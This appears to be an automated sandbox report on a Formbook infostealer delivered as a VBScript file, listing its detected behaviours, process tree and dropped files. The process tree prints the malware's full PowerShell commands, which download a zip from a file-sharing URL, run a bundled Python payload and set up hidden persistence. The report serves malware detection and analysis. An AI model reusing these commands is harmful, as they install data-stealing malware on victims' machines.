Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
09/06/2026, 13:40
General
- Target 567187.vbs
- Size 178KB
- Sample260609-qyzsvaa181
- SHA256 e50e2fd4c61ba461a322f1d5a0e902983af962b3937e12c285e0e2c14c8319ed
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 2 IoCs
- Adds policy Run key to start application 2 TTPs 2 IoCs
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Start PowerShell.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 14 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\567187.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=$null;Add-Type -AssemblyName Microsoft.VisualBasic;[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z=Join-Path $env:PUBLIC 'Downloads\python312x86.zip';$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates';if(Test-Path $z){Remove-Item $z -Force};$v=[Microsoft.VisualBasic.Interaction]::CallByName((&{$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36');$w.Headers.Add('Referer','https://www.filemail.com/');$w}),'DownloadFile',[Microsoft.VisualBasic.CallType]::Method,'https://2111.filemail.com/api/file/get?filekey=naIqb7nG5KSfHo02gt3gDl3TB19fuVb7j1R_6zap6Y8EFWdYchODoyvdGtw',$z);if(Test-Path $e){Remove-Item $e -Recurse -Force};New-Item -Path $e -ItemType Directory -Force;Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($z,$e);$p=Join-Path $e 'python312x86\python.exe';$s=Join-Path $e 'python312x86\Protected.py';Start-Process -FilePath $p -ArgumentList $s -WorkingDirectory (Split-Path $s);Remove-Item $z -Force"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command $e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates\python312x86';$p=Join-Path $e 'pythonw.exe';$s=Join-Path $e 'Protected.py';if((Test-Path $p)-and(Test-Path $s)){Start-Process $p $s -WorkingDirectory $e}1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\systray.exe"C:\Windows\SysWOW64\systray.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\systray.exe"C:\Windows\SysWOW64\systray.exe"1⤵
- Adds policy Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4y4ng0mm.lj1.ps1
AES.py
__init__.py
AES.cpython-312.pyc
__init__.cpython-312.pyc
_mode_cbc.cpython-312.pyc
_mode_cbc.py
_raw_aes.pyd
_raw_aesni.pyd
_raw_cbc.pyd
__init__.py
__init__.cpython-312.pyc
Padding.py
__init__.py
Padding.cpython-312.pyc
__init__.cpython-312.pyc
_cpu_features.cpython-312.pyc
_file_system.cpython-312.pyc
_raw_api.cpython-312.pyc
py3compat.cpython-312.pyc
_cpu_features.py
_cpuid_c.pyd
_file_system.py
_raw_api.py
py3compat.py
__init__.py
__init__.cpython-312.pyc
Protected.py
Readme.txt
_builtin_.cpython-312.pyc
_builtin_.py
_ctypes.pyd
libffi-8.dll
python.exe
python312.dll
python312.zip
pythonw.exe
memory/820-27-0x0000000004BF0000-0x0000000004BFA000-memory.dmp
memory/820-3-0x0000000004F30000-0x000000000555A000-memory.dmp
memory/820-17-0x0000000006220000-0x000000000623A000-memory.dmp
memory/820-28-0x0000000007AB0000-0x0000000007AC2000-memory.dmp
memory/820-16-0x0000000007410000-0x0000000007A8A000-memory.dmp
memory/820-15-0x0000000005D00000-0x0000000005D4C000-memory.dmp
memory/820-14-0x0000000005CD0000-0x0000000005CEE000-memory.dmp
memory/820-13-0x0000000005800000-0x0000000005B57000-memory.dmp
memory/820-19-0x0000000007220000-0x00000000072B6000-memory.dmp
memory/820-0-0x0000000002500000-0x0000000002510000-memory.dmp
memory/820-5-0x0000000004EB0000-0x0000000004F16000-memory.dmp
memory/820-6-0x0000000005690000-0x00000000056F6000-memory.dmp
memory/820-4-0x0000000004D10000-0x0000000004D32000-memory.dmp
memory/820-18-0x0000000007180000-0x000000000721C000-memory.dmp
memory/820-20-0x0000000006CA0000-0x0000000006CC2000-memory.dmp
memory/820-21-0x0000000008040000-0x00000000085E6000-memory.dmp
memory/820-22-0x0000000002500000-0x0000000002510000-memory.dmp
memory/820-1-0x0000000002510000-0x0000000002546000-memory.dmp
memory/820-2-0x0000000002500000-0x0000000002510000-memory.dmp
memory/3860-1221-0x0000000000400000-0x0000000000446000-memory.dmp
memory/3860-1220-0x0000000001200000-0x0000000001254000-memory.dmp
memory/3860-1267-0x0000000002E80000-0x0000000002EC6000-memory.dmp
memory/4860-1270-0x00000000005A0000-0x00000000005E3000-memory.dmp
memory/4860-1272-0x00000000005A0000-0x00000000005E3000-memory.dmp
memory/5988-1228-0x000001E520BA0000-0x000001E520BC2000-memory.dmp
memory/5988-1236-0x000001E507D40000-0x000001E508802000-memory.dmp